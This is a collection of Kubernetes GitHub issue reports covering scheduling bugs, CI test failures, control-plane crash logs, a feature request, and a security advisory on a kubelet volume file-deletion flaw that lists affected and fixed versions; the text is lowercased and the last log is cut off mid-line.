<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r bug report\r \r  \r \r   what happened  :\r \r user added a noschedule taint to a node. it caused eviction of daemonset.\r \r see https://groups.google.com/d/msg/kubernetes-users/me5a_6dotn8/rqgettk2aqaj for more details.\r \r   what you expected to happen  :\r \r noschedule should never cause eviction. that's why it's called noschedule, not noexecute.\r \r \r i think the problem is  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/daemon/daemon_controller.go l1279 . we should not set wanttorun to false if predicates.errtaintstolerationsnotmatch is due to noschedule taint.  it's fine to set shouldschedule to false. \r \r /cc @kubernetes/sig-cluster-lifecycle-bugs @gmarek \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r    / \r   what happened  :\r kubeadm-gce-upgrade-1.8-1.9 fails due to:\r    \r i1130 19:49:18.591   upgrade/successful  success! your cluster was upgraded to \ v1.9.0-beta.0\ . enjoy!\r i1130 19:49:18.591  \r i1130 19:49:18.591   upgrade/kubelet  now that your control plane is upgraded, please proceed with upgrading your kubelets in turn.\r i1130 19:49:18.653  +    0 -ne 0   \r i1130 19:49:18.654  make: leaving directory '/workspace/kubernetes-anywhere'\r i1130 19:49:18.655  nov 30 19:49:18.654: info: checking master version\r i1130 19:49:33.703  nov 30 19:49:33.701: info: unexpected error occurred: master had kube-apiserver version 1.9.0-alpha.3.139+e7258eecaa6724 which does not start with 1.9.0-beta.0\r    \r https://storage.googleapis.com/kubernetes-jenkins/logs/periodic-kubernetes-e2e-kubeadm-gce-upgrade-1-8-1-9/158/build-log.txt\r \r   what you expected to happen  :\r test succeeds.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see the runs in https://k8s-testgrid.appspot.com/sig-cluster-lifecycle-all kubeadm-gce-upgrade-1.8-1.9\r \r   anything else we need to know?  :\r  wget https://storage.googleapis.com/kubernetes-release/release/v1.9.0-beta.0/kubernetes.tar.gz \r \r  cat version :\r  v1.9.0-alpha.3.139+e7258eecaa6724 \r \r oops!\r \r i think this is the reason why the test fails.\r \r /cc @enisoc @luxas @kubernetes/sig-cluster-lifecycle-test-failures \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

failure cluster  1093c2dbafe8ebde6397  https://go.k8s.io/triage 1093c2dbafe8ebde6397        error text:     error creating cluster: error during gcloud container clusters create --quiet --project=k8s-gke-gci-1-6-1-5-ctl-skew --zone=us-central1-f --machine-type=n1-standard-2 --image-type=gci --num-nodes=3 --network=bootstrap-e2e --cluster-version=1.10.0-alpha.1.901+a6710f3b875115 bootstrap-e2e: exit status 1           failure cluster statistics: 1 tests failed,    11 jobs failed,    237 builds failed. failure stats cover 1 day time range '23 jan 2018 03:06 utc' to '24 jan 2018 03:06 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | up | 11 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-stackdriver | 40 |  24 jan 2018 02:04 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-stackdriver/17456  | | ci-kubernetes-e2e-gci-gke-updown | 40 |  24 jan 2018 02:10 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-updown/30970  | | ci-kubernetes-e2e-gke-sd-logging-ubuntu-latest | 38 |  24 jan 2018 02:11 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-sd-logging-ubuntu-latest/415  |   current status  https://go.k8s.io/triage 1093c2dbafe8ebde6397

cvss:3.0/av:l/ac:l/pr:l/ui:n/s:u/c:n/i:l/a:h  https://www.first.org/cvss/calculator/3.0 cvss:3.0/av:l/ac:l/pr:l/ui:n/s:u/c:n/i:l/a:h \r \r this vulnerability allows containers using a secret, configmap, projected or downwardapi volume to trigger deletion of arbitrary files and directories on the nodes where they are running.\r \r thanks to joel smith of red hat for reporting this problem.\r \r   vulnerable versions:  \r   kubernetes 1.3.x-1.6.x\r   kubernetes 1.7.0-1.7.13\r   kubernetes 1.8.0-1.8.8\r   kubernetes 1.9.0-1.9.3\r \r   vulnerable configurations:  \r   clusters that run untrusted containers with secret, configmap, downwardapi or projected volumes mounted  including auto-added service account token mounts .\r \r   vulnerability impact:  \r a malicious container running in a pod with a secret, configmap, downwardapi or projected volume mounted  including auto-added service account token mounts  can cause the kubelet to remove any file or directory on the host filesystem.\r \r   mitigations prior to upgrading:  \r do not allow containers to be run with secret, configmap, downwardapi and projected volumes  note that this prevents use of service account tokens in pods, and requires use of    automountserviceaccounttoken: false   https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/ use-the-default-service-account-to-access-the-api-server  \r \r   fixed versions:  \r   fixed in v1.7.14 by  60516\r   fixed in v1.8.9 by  60515\r   fixed in v1.9.4 by  60258\r   fixed in master by  58720  will be included in v1.10.0 \r \r   fix impact:  \r secret, configmap, downwardapi and projected volumes will be mounted as read-only volumes. applications that attempt to write to these volumes will receive read-only filesystem errors. previously, applications were allowed to make changes to these volumes, but those changes were reverted at an arbitrary interval by the system. applications should be re-configured to write derived files to another location.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r we've been running a kubernetes cluster for more than a year now.  we have upgraded a few time.  now all of a sudden we are receiving this and the apiserver/control plane crashes and all docker processes crash on the  master server.\r \r    bash\r i0721 22:07:02.680030       1 trace.go:76  trace 106718694 : \ create /api/v1/namespaces/default/events\   started: 2018-07-21 22:06:58.675783398 +0000 utc m=+4.884287964   total time: 4.004207924s :\r trace 106718694 :  4.001371134s   4.001309883s  about to store object in database\r i0721 22:07:04.004239       1 trace.go:76  trace 1059683869 : \ create /api/v1/nodes\   started: 2018-07-21 22:07:00.000050761 +0000 utc m=+6.208555347   total time: 4.004159133s :\r trace 1059683869 :  4.000827818s   4.000689739s  about to store object in database\r i0721 22:07:04.558582       1 trace.go:76  trace 1586391535 : \ create /api/v1/namespaces/kube-system/events\   started: 2018-07-21 22:07:00.555543641 +0000 utc m=+6.764048212   total time: 4.003014383s :\r trace 1586391535 :  4.000529849s   4.000475957s  about to store object in database\r i0721 22:07:06.272917       1 trace.go:76  trace 259818831 : \ create /api/v1/namespaces/kube-system/events\   started: 2018-07-21 22:07:02.263972787 +0000 utc m=+8.472477353   total time: 4.008912365s :\r trace 259818831 :  4.001283782s   4.001230604s  about to store object in database\r i0721 22:07:06.301026       1 trace.go:76  trace 631370988 : \ create /apis/authentication.k8s.io/v1/tokenreviews\   started: 2018-07-21 22:07:02.298960233 +0000 utc m=+8.507464797   total time: 4.002038719s :\r trace 631370988 :  4.000743276s   4.000632663s  about to store object in database\r i0721 22:07:06.684349       1 trace.go:76  trace 436079227 : \ create /api/v1/namespaces/default/events\   started: 2018-07-21 22:07:02.682089683 +0000 utc m=+8.890594240   total time: 4.002234314s :\r trace 436079227 :  4.000627239s   4.000581775s  about to store object in database\r i0721 22:07:46.792024       1 autoregister_controller.go:160  shutting down autoregister controller\r i0721 22:07:46.792566       1 crd_finalizer.go:254  shutting down crdfinalizer\r i0721 22:07:46.792575       1 apiservice_controller.go:124  shutting down apiserviceregistrationcontroller\r i0721 22:07:46.792581       1 crdregistration_controller.go:139  shutting down crd-autoregister controller\r i0721 22:07:46.792588       1 available_controller.go:274  shutting down availableconditioncontroller\r i0721 22:07:46.792981       1 controller.go:90  shutting down openapi aggregationcontroller\r i0721 22:07:46.793140       1 serve.go:129  stopped listening on 0.0.0.0:6443\r i0721 22:07:46.793167       1 customresource_discovery_controller.go:163  shutting down discoverycontroller\r i0721 22:07:46.793562       1 naming_controller.go:285  shutting down namingconditioncontroller\r    \r \r    bash\r /usr/bin/etcd --listen-client-urls=http://127.0.0.1:2379 --advertise-client-urls=http://127.0.0.1:2379 --data-dir=/kubernetes/etcd-storage/etcd --debug --grpc-keepalive-timeout=0 --proxy='off' --experimental-initial-corrupt-check='true' --election-timeout=50000 --heartbeat-interval 500\r    \r \r    bash\r 2018-07-21 20:01:20.528948 d | etcdserver/api/v3rpc: failed to receive watch request from grpc stream  \ rpc error: code = canceled desc = context canceled\  \r 2018-07-21 20:01:20.528953 d | etcdserver/api/v3rpc: failed to receive watch request from grpc stream  \ rpc error: code = canceled desc = context canceled\  \r 2018-07-21 20:01:20.528989 d | etcdserver/api/v3rpc: failed to receive lease keepalive request from grpc stream  \ rpc error: code = canceled desc = context canceled\  \r 2018-07-21 20:01:20.528998 d | etcdserver/api/v3rpc: failed to receive watch request from grpc stream  \ rpc error: code = canceled desc = context canceled\  \r 2018-07-21 20:01:20.529005 d | etcdserver/api/v3rpc: failed to receive watch request from grpc stream  \ rpc error: code = canceled desc = context canceled\  \r    \r \r    bash\r etcdctl cluster-health\r member 8e9e05c52164694d is healthy: got healthy result from http://127.0.0.1:2379\r cluster is healthy\r    \r \r   what you expected to happen  :  i would expect the control plane to never crash.\r \r   how to reproduce it  as minimally and precisely as possible   :\r this one will be difficult for you to reproduce.  but i am unable to start any of the kubernetes control plan.  the entire control plane crashes after the apiserver crashes.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.6\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:21:50z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r unable to connect to the server: tunnel connection failed\r - cloud provider or hardware configuration: on-premise\r - os  e.g. from /etc/os-release : red hat enterprise linux server release 7.5  maipo \r - kernel  e.g.  uname -a  : 3.10.0-862.6.3.el7.x86_64  1 smp fri jun 15 17:57:37 edt 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: yum\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r i would like to be able to call addindexers   on sharedindexinformers after they have been started.  already you can add a resourceeventhandlers after start, but indexers are not allowed.\r \r   why is this needed  :\r \r i have controllers that run are deployed in a master/slave configuration.  masters run a set of controllers and all slaves also run a set of controllers.  currently i must have one sharedindexinformer for the slave controllers and one sharedindexinformer for the master controllers because the indexer are different, but the cache data is the same.  so this is doubling memory.  the controller i have is actually far more complicated than this  it's not just  master/slave but runs a series of sharded controller sets  such that the impact on memory isn't 2x, it's per a copy per internal shard.\r \r i can currently address this problem by registering the indexer globally once but this i'd like to avoid this because 1  i'm running indexers in situations that is unneeded which is consuming more memory 2  it makes the code dirty because i'd like to keep the indexer code and resourceeventhandlers local to the same module.\r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :  gce-cos-master-scalability-100\r \r   which test s  are failing  :   sig-scalability  density  feature:performance  should allow starting 30 pods per node using replicationcontroller with 0 secrets, 0 configmaps, 0 token projections, and 0 daemons\r \r   since when has it been failing  : pretty much forever\r \r   testgrid link  : https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-scalability-100\r \r   reason for failure  :\r \r appears to somehow be related to scheduler cpu:\r \r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/19700\r \r    \r container kube-scheduler-e2e-big-master/kube-scheduler is using 0.410578205/0.4 cpu\r not to have occurred\r    \r \r   anything else we need to know  :\r \r what's interesting about this flake is that it occurs about once in 10 runs.  and it doesn't occur at all in 1.13:\r \r https://testgrid.k8s.io/sig-release-1.13-blocking gci-gce-scalability-1.13\r \r this is possibly related to issue   70708, but since that issue was for a different test and linked to the golang upgrade, opening a new issue to track the current visible flake.\r \r <!-- do not edit below this line -->\r   / \r cc:\r @mariantalla @aishsundar @wojtek-t @mortent

@deads2k said in  18835 :  \ i'm pretty sure that this chunk of code will cause something like the kubectl convert --local to fail because this will try to make a remote connection and the objecttyper is probably used. if this didn't fail tests, it would suggest that branch isn't being checked, which is probably worthy of a separate issue.\   tests don't fail, so, separate issue ;

seen in logs after a controller-manager restart:      i1014 20:24:41.940021       7 servicecontroller.go:285  ensuring lb for service xxxxxx e1014 20:24:41.940105       7 servicecontroller.go:755  failed to process service. retrying in 10s: failed to create load balancer for service xxxxxx: cannot ensureloadbalancer   with no hosts i1014 20:24:42.115014       7 servicecontroller.go:285  ensuring lb for service yyyyy e1014 20:24:42.115115       7 servicecontroller.go:755  failed to process service. retrying in 10s: failed to create load balancer for service yyyyy: cannot ensureloadbalancer   with no hosts      i think this means that the only thing keeping it from blowing away working load balancers is the fact that it managed to check before it loaded any services, as opposed to before it had loaded all services.

on saturday, in large cluster we started observing runs  all runs since then failed due to the same reason , in which not all system pods come up. \r in particular, always some number of fluentd are not starting. i looked into why those are not starting and all of them are failing with logs like these:\r \r    \r ...\r e0205 01:18:07.691491    1508 pod_workers.go:182  error syncing pod 58fff48e-eb40-11e6-bd1d-42010af00002  \ fluentd-gcp-v1.35-zhn1k_kube-system 58fff48e-eb40-11e6-bd1d-42010af00002 \  , skipping: network is not ready:  kubenet does not have netconfig. this is most likely due to lack of podcidr \r i0205 01:18:21.991789    1508 docker_manager.go:2002  need to restart pod infra container for \ fluentd-gcp-v1.35-zhn1k_kube-system 58fff48e-eb40-11e6-bd1d-42010af00002 \  because it is not found\r i0205 01:18:22.350163    1508 docker_manager.go:2263  determined pod ip after infra change: \ fluentd-gcp-v1.35-zhn1k_kube-system 58fff48e-eb40-11e6-bd1d-42010af00002 \ : \ 10.215.107.3\ \r i0205 01:18:22.913070    1508 kubelet.go:1805  syncloop  pleg : \ fluentd-gcp-v1.35-zhn1k_kube-system 58fff48e-eb40-11e6-bd1d-42010af00002 \ , event: &pleg.podlifecycleevent{id:\ 58fff48e-eb40-11e6-bd1d-42010af00002\ , type:\ containerstarted\ , data:\ 8c62da43a6e72a5e5522df780b2cdf4807d16cc06b63e64c1de826c6862a6b6b\ }\r i0205 01:18:32.626675    1508 kube_docker_client.go:326  pulling image \ gcr.io/google_containers/fluentd-gcp:1.35\ : \ a3a9a5587906: extracting  ==================================================>  73.72 mb/73.72 mb\ \r e0205 01:18:35.694647    1508 pod_workers.go:182  error syncing pod 58fff48e-eb40-11e6-bd1d-42010af00002  \ fluentd-gcp-v1.35-zhn1k_kube-system 58fff48e-eb40-11e6-bd1d-42010af00002 \  , skipping: failed to \ startcontainer\  for \ fluentd-gcp\  with errimagepull: \ failed to register layer: rename /var/lib/docker/image/overlay/layerdb/tmp/layer-889925918 /var/lib/docker/image/overlay/layerdb/sha256/09995c36eaaa0805fbabd4d5d2b547ef197a9d8a5870b61fe3a8c6de0e73ca27: directory not empty\ \r    \r \r example failures of this are in:\r http://gcsweb.k8s.io/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-large-cluster/58/artifacts/gke-bootstrap-e2e-default-pool-0-0d038807-36tc/\r http://gcsweb.k8s.io/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-large-cluster/59/artifacts/gke-bootstrap-e2e-default-pool-0-648c74ed-knzl/\r \r @kubernetes/sig-node-bugs @dchen1107 @yujuhong

is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r >client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  : hardware\r -   os    e.g. from /etc/os-release : a customized centos 7.2 distribution, but actually it's just centos 7.2\r -   kernel    e.g.  uname -a  : linux vmwarecgsl5.localdomain 3.10.0-327.22.2.el7.x86_64  1 smp fri nov 4 01:46:03 cst 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r when i run  kubefed init fellowship --host-cluster-context=admin@kubernetes  --dns-zone-name=example.com --kubeconfig=/etc/kubernetes/admin.conf , it just hangs, no any other messages.  journalctl -f  outputs:\r >feb 09 01:35:00 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:35:00.339069       1 dns.go:274  new service: kubernetes\r feb 09 01:35:00 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:35:00.375754       1 dns.go:384  added srv record &{host:kubernetes.default.svc.cluster.local. port:443 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r feb 09 01:35:00 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:35:00.375970       1 dns.go:274  new service: kube-dns\r feb 09 01:35:00 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:35:00.376046       1 dns.go:384  added srv record &{host:kube-dns.kube-system.svc.cluster.local. port:53 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r feb 09 01:35:00 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:35:00.376098       1 dns.go:384  added srv record &{host:kube-dns.kube-system.svc.cluster.local. port:53 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r feb 09 01:35:00 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:35:00.376154       1 dns.go:274  new service: fellowship-apiserver\r feb 09 01:35:00 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:35:00.376203       1 dns.go:384  added srv record &{host:fellowship-apiserver.federation-system.svc.cluster.local. port:443 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r feb 09 01:35:07 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:35:07.369054    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/11ae2335-dbdd-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 11ae2335-dbdd-11e6-a074-000c2972045a\   uid: \ 11ae2335-dbdd-11e6-a074-000c2972045a\  .\r feb 09 01:35:12 vmwarecgsl5.localdomain docker-current 1034 : 2017-02-08 17:35:12.344322 i | etcdserver: start to snapshot  applied: 1420144, lastsnap: 1410143 \r feb 09 01:35:12 vmwarecgsl5.localdomain docker-current 1034 : 2017-02-08 17:35:12.822914 i | etcdserver: saved snapshot at index 1420144\r feb 09 01:35:12 vmwarecgsl5.localdomain docker-current 1034 : 2017-02-08 17:35:12.826704 i | etcdserver: compacted raft log at 1415144\r feb 09 01:35:13 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:35:13.432949    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9423c7f5-dbdc-11e6-a074-000c2972045a-clusterinfo\   spec.name: \ clusterinfo\   pod \ 9423c7f5-dbdc-11e6-a074-000c2972045a\   uid: \ 9423c7f5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:35:13 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:35:13.435055    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9423c7f5-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9423c7f5-dbdc-11e6-a074-000c2972045a\   uid: \ 9423c7f5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:35:27 vmwarecgsl5.localdomain docker-current 1034 : 2017-02-08 17:35:27.722497 i | fileutil: purged file /var/etcd/data/member/snap/000000000000000b-000000000014e819.snap successfully\r feb 09 01:35:33 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:35:33.358610    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9b32cae5-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9b32cae5-dbdc-11e6-a074-000c2972045a\   uid: \ 9b32cae5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:36:03 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:36:03.423325    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9b317708-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9b317708-dbdc-11e6-a074-000c2972045a\   uid: \ 9b317708-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:36:14 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:36:14.438916    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/85d1c636-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 85d1c636-dbdc-11e6-a074-000c2972045a\   uid: \ 85d1c636-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:36:18 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:36:18.374070    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/11ae2335-dbdd-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 11ae2335-dbdd-11e6-a074-000c2972045a\   uid: \ 11ae2335-dbdd-11e6-a074-000c2972045a\  .\r feb 09 01:36:29 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:36:29.387955    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9423c7f5-dbdc-11e6-a074-000c2972045a-clusterinfo\   spec.name: \ clusterinfo\   pod \ 9423c7f5-dbdc-11e6-a074-000c2972045a\   uid: \ 9423c7f5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:36:29 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:36:29.388355    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9423c7f5-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9423c7f5-dbdc-11e6-a074-000c2972045a\   uid: \ 9423c7f5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:36:57 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:36:57.352737    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9b32cae5-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9b32cae5-dbdc-11e6-a074-000c2972045a\   uid: \ 9b32cae5-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:37:21 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:37:21.393203    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/9b317708-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 9b317708-dbdc-11e6-a074-000c2972045a\   uid: \ 9b317708-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:37:26 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:37:26.078830       1 event.go:217  event api.objectreference{kind:\ node\ , namespace:\ \ , name:\ vmwarecgsl5-2.localdomain\ , uid:\ 7309018d-dbdf-11e6-a074-000c2972045a\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodenotready' node vmwarecgsl5-2.localdomain status is now: nodenotready\r feb 09 01:37:26 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:37:26.846588       1 trace.go:61  trace \ etcdhelper::create  api.event\   started 2017-02-08 17:37:26.54161843 +0000 utc :\r feb 09 01:37:26 vmwarecgsl5.localdomain docker-current 1034 :  90.744566ms   90.744566ms  object encoded\r feb 09 01:37:26 vmwarecgsl5.localdomain docker-current 1034 :  90.74797ms   3.404µs  version checked\r feb 09 01:37:26 vmwarecgsl5.localdomain docker-current 1034 :  227.425344ms   136.677374ms  object created\r feb 09 01:37:26 vmwarecgsl5.localdomain docker-current 1034 :  304.944065ms   77.518721ms  end\r feb 09 01:37:26 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:37:26.846738       1 trace.go:61  trace \ create /api/v1/namespaces/default/events\   started 2017-02-08 17:37:26.142786661 +0000 utc :\r feb 09 01:37:26 vmwarecgsl5.localdomain docker-current 1034 :  88.827383ms   88.827383ms  about to convert to expected version\r feb 09 01:37:26 vmwarecgsl5.localdomain docker-current 1034 :  147.335073ms   58.50769ms  conversion done\r feb 09 01:37:26 vmwarecgsl5.localdomain docker-current 1034 :  164.929186ms   17.594113ms  about to store object in database\r feb 09 01:37:26 vmwarecgsl5.localdomain docker-current 1034 :  703.837314ms   538.908128ms  object stored in database\r feb 09 01:37:26 vmwarecgsl5.localdomain docker-current 1034 :  703.865414ms   28.1µs  self-link added\r feb 09 01:37:26 vmwarecgsl5.localdomain docker-current 1034 :  703.922895ms   57.481µs  end\r feb 09 01:37:28 vmwarecgsl5.localdomain kubelet 2206 : i0209 01:37:28.374182    2206 operation_executor.go:917  mountvolume.setup succeeded for volume \ kubernetes.io/secret/85d1c636-dbdc-11e6-a074-000c2972045a-default-token-6mt5m\   spec.name: \ default-token-6mt5m\   pod \ 85d1c636-dbdc-11e6-a074-000c2972045a\   uid: \ 85d1c636-dbdc-11e6-a074-000c2972045a\  .\r feb 09 01:37:29 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:37:29.375039       1 trace.go:61  trace \ update /api/v1/namespaces/kube-system/pods/weave-net-v01k4/status\   started 2017-02-08 17:37:26.976159197 +0000 utc :\r feb 09 01:37:29 vmwarecgsl5.localdomain docker-current 1034 :  18.195µs   18.195µs  about to convert to expected version\r feb 09 01:37:29 vmwarecgsl5.localdomain docker-current 1034 :  181.283µs   163.088µs  conversion done\r feb 09 01:37:29 vmwarecgsl5.localdomain docker-current 1034 :  186.321µs   5.038µs  about to store object in database\r feb 09 01:37:29 vmwarecgsl5.localdomain docker-current 1034 :  2.398346111s   2.39815979s  object stored in database\r feb 09 01:37:29 vmwarecgsl5.localdomain docker-current 1034 :  2.398358235s   12.124µs  self-link added\r feb 09 01:37:29 vmwarecgsl5.localdomain docker-current 1034 :  2.39874936s   391.125µs  end\r feb 09 01:37:30 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:37:30.387076       1 trace.go:61  trace \ update /apis/extensions/v1beta1/namespaces/kube-system/daemonsets/kube-proxy/status\   started 2017-02-08 17:37:29.443018585 +0000 utc :\r feb 09 01:37:30 vmwarecgsl5.localdomain docker-current 1034 :  13.208µs   13.208µs  about to convert to expected version\r feb 09 01:37:30 vmwarecgsl5.localdomain docker-current 1034 :  562.832101ms   562.818893ms  conversion done\r feb 09 01:37:30 vmwarecgsl5.localdomain docker-current 1034 :  562.842868ms   10.767µs  about to store object in database\r feb 09 01:37:30 vmwarecgsl5.localdomain docker-current 1034 :  787.917032ms   225.074164ms  object stored in database\r feb 09 01:37:30 vmwarecgsl5.localdomain docker-current 1034 :  787.928215ms   11.183µs  self-link added\r feb 09 01:37:30 vmwarecgsl5.localdomain docker-current 1034 :  943.989052ms   156.060837ms  end\r feb 09 01:37:30 vmwarecgsl5.localdomain docker-current 1034 : i0208 17:37:30.387535       1 trace.go:61  trace \ update /apis/extensions/v1beta1/namespaces/kube-system/daemonsets/weave-net/status\   started 2017-02-08 17:37:29.44296036 +0000 utc :\r feb 09 01:37:30 vmwarecgsl5.localdomain docker-current 1034 :  24.314µs   24.314µs  about to convert to expected version\r feb 09 01:37:30 vmwarecgsl5.localdomain docker-current 1034 :  519.666818ms   519.642504ms  conversion done\r feb 09 01:37:30 vmwarecgsl5.localdomain docker-current 1034 :  519.679989ms   13.171µs  about to store object in database\r feb 09 01:37:30 vmwarecgsl5.localdomain docker-current 1034 :  790.698886ms   271.018897ms  object stored in database\r feb 09 01:37:30 vmwarecgsl5.localdomain docker-current 1034 :  790.706536ms   7.65µs  self-link added\r feb 09 01:37:30 vmwarecgsl5.localdomain docker-current 1034 :  944.528663ms   153.822127ms  end\r feb 09 01:37:31 vmwarecgsl5.localdomain docker-current 1034 : time=\ 2017-02-08t17:37:31z\  level=info msg=\ event updatepod &v1.pod{typemeta:unversioned.typemeta{kind:\\\ \\\ , apiversion:\\\ \\\ }, objectmeta:v1.objectmeta{name:\\\ kube-proxy-qbk06\\\ , generatename:\\\ kube-proxy-\\\ , namespace:\\\ kube-system\\\ , selflink:\\\ /api/v1/namespaces/kube-system/pods/kube-proxy-qbk06\\\ , uid:\\\ 7a9dd752-dbdf-11e6-a074-000c2972045a\\\ , resourceversion:\\\ 492197\\\ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:63620163156, nsec:0, loc:  time.location  0x2a9fb00 }}, deletiontimestamp:  unversioned.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string{\\\ name\\\ :\\\ kube-proxy\\\ , \\\ tier\\\ :\\\ node\\\ , \\\ component\\\ :\\\ 